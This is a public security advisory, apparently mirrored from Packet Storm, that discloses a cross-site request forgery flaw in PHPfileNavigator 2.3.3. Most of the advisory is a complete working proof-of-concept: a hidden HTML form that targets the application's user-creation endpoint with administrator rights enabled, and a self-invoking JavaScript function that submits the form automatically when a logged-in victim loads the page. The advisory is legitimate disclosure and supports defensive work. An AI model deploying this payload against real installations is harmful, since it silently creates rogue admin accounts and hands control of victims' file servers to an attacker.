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PHPfileNavigator 2.3.3 Cross Site Request Forgery

🗓️ 12 Aug 2015 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

PHPfileNavigator v2.3.3 CSRF vulnerability allows arbitrary user account creation, leading to high severity threa

Code
`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812a.txt  
  
  
  
Vendor:  
================================  
pfn.sourceforge.net  
  
  
  
Product:  
===================================  
PHPfileNavigator v2.3.3 (pfn)  
  
Is state-of-the-art, open source web based application  
to complete manage your files and folders.  
  
  
  
Vulnerability Type:  
================================  
CSRF add arbitrary user accounts  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
  
Vulnerability Details:  
=====================  
No CSRF token exists when creating user accounts, this allows  
us to exploit the application and add arbitrary users The  
?PHPSESSID= cookie used in URL is useless as we can just replace  
the value with whatever.  
  
e.g.  
  
?PHPSESSID='inthesignofevil'  
  
or just omit it all together makes no difference exploit will  
still succeed. Next create our form POST and a self calling  
Javascript function, then get a logged in user to click our  
malicious linx or visit our webpage where they will be PWN3D.  
  
Tested using xampp-1.7.0  
  
  
Exploit code(s):  
===============  
  
<!DOCTYPE>  
<html>  
  
<!-- CSRF exploit add arbitrary user accounts with Admin privs -->  
<form id="USERIOS_EVILOS" action="  
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php?PHPSESSID=inthesignofevil"  
method="post">  
<input type="hidden" name="id_usuario" value="" />  
<input type="text" id="nome" name="nome" value="hyp3rlinx" class="text"  
tabindex="10" />  
<input type="text" id="usuario" name="usuario" value="hyp3rlinx"  
class="text" tabindex="20" />  
<input type="password" id="contrasinal" name="contrasinal"  
value="abc123" class="text" tabindex="30" />  
<input type="password" id="rep_contrasinal" name="rep_contrasinal"  
value="abc123" class="text" tabindex="40" />  
<input type="text" id="email" name="email" value="[email protected]"  
class="text" tabindex="50" />  
<input type="text" id="max_descargas" name="max_descargas" value="0"  
class="text" tabindex="60" />  
<input type="text" id="actual_descargas" name="actual_descargas"  
value="0" class="text" tabindex="70" />  
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">  
<option value="1" >ON</option>  
<option value="0" selected="selected">OFF</option>  
</select>  
<select id="id_grupo" name="id_grupo" tabindex="80">  
<option value="0" selected="selected">Administrators</option>  
</select>  
<select id="admin" name="admin" tabindex="90">  
<option value="1" selected="selected">ON</option>  
<option value="0" >OFF</option>  
</select>  
<select id="estado" name="estado" tabindex="100">  
<option value="1" selected="selected">ON</option>  
<option value="0" >OFF</option>  
</select>  
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"  
class="checkbox" />  
</form>  
  
<script>  
  
(function PWN3D(){  
var e=document.getElementById('USERIOS_EVILOS')  
e.submit()  
})()  
  
</script>  
  
</body>  
</html>  
  
  
Disclosure Timeline:  
=========================================================  
  
  
Vendor Notification: August 8, 2015  
August 12, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn)  
  
  
Vulnerable Parameter(s): [+] id_usuario, id_grupo  
  
  
Affected Area(s): [+] Admin  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`

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12 Aug 2015 00:00Current
0.4Low risk
Vulners AI Score0.4
25